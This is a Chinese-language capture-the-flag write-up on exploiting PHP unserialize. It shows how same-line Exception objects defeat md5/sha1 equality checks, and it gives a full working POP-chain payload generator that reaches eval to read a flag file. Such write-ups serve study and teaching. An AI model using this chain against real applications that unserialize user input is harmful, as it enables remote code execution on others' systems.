前置知识:
原生类Exception绕过md5,sha1
先看看原生类Exception里面有什么:
<?php
var_dump($a=new Exception());
这里有个非常有意思的绕过md5和sh1的方法。
来看两个例子:
<?php
class Test{
public $var1;
public $var2;
function __destruct(){
if(md5($this->var1)===md5($this->var2))
{
echo "yes";
}
else{
echo "no";
}
}
}
$str="highlight_file('/flag');?>";
$var1=new Exception($str,1);$var2=new Exception($str,2);
var_dump(md5($var1));
var_dump(md5($var2));
$R = new Test();
$R->var1=$var1;
$R->var2=$var2;
//输出
<?php
class Test{
public $var1;
public $var2;
function __destruct(){
if(md5($this->var1)===md5($this->var2))
{
echo "yes";
}
else{
echo "no";
}
}
}
$str="highlight_file('/flag');?>";
$var1=new Exception($str,1);
$var2=new Exception($str,2);
var_dump(md5($var1));
var_dump(md5($var2));
$R = new Test();
$R->var1=$var1;
$R->var2=$var2;
输出:
这两段代码唯一的 区别就是:
$var1和$var2是否同行
如果同行的话,则md5值不相等。SHA1则同理。
解题
题目直接给出源码:
<?php
highlight_file(__file__);
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
?>
链子的过程比较简单 ,难点在绕过md5那里,以前没有接触过。
还有要注意的就是从后往前赋值。其他没什么了(我下面标出了序号)
直接给出payload:
<?php
class Jack // 2
{
private $action;
function __set($a, $b) // 给不存在赋值
{
}
}
class Love { // 3
public $var;
function __call($a,$b) // 调用不存在方法或者不可访问方法
{
echo "Love";
$rose = $this->var;
call_user_func($rose); // 可以触发__invoke
}
}
class Titanic{ // 1
public $people;
public $ship;
function __destruct(){ // 销毁变量
$this->people->action=$this->ship;
}
}
class Rose{ // 4
public $var1;
public $var2;
function __invoke(){ // 对象调用为函数
var_dump($this->var1);
var_dump($this->var2);
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
echo "yes";
eval($this->var1);
}
}
}
$a=new Titanic();
$b=new Jack();
$c=new Love();
$d=new Rose();
$str="highlight_file('/flag');?>"; //需要执行的读取flag文件的命令
$var1=new Exception($str,1);$var2=new Exception($str,2);
$d->var1=$var1;
$d->var2=$var2;
$c->var=$d;
$a->people=$b;
$a->ship=$c;
echo urlencode(serialize($a));
?>
我没做出来的原因是没有从后往前赋值,要先对序号后面的值进行赋值,再引用前面的类。否则会返回赋值为空的报错。
生成的payload直接打就可以了: